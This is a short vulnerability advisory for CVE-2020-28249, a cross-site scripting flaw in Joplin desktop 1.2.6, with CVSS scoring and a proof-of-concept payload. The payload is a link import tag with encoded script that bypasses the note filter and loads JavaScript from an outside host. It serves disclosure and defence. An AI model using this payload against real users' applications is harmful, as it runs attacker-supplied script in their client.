Joplin 1.2.6 link Cross Site Scripting

2020.11.09

Credit: Philip Holbrook

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-28249

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
# Date: 2020-09-21
# Exploit Author: Philip Holbrook (@fhlipZero)
# Vendor Homepage: https://joplinapp.org/
# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
# Version: 1.2.6
# Tested on: Windows / Mac
# CVE : CVE-2020-28249
# References:
# https://github.com/fhlip0/JopinXSS/blob/main/readme.md
# 1. Technical Details
# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
bypass the HTML filter
# 2. PoC
# Paste the following payload into a note:
```
<link rel=import
href="data:text/html&comma;<script>alert(XSS)<&sol;script>
<script src="//brutelogic.com.br&sol;1.js&num; </script>
```

See this note in RAW Version

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Joplin 1.2.6 link Cross Site Scripting

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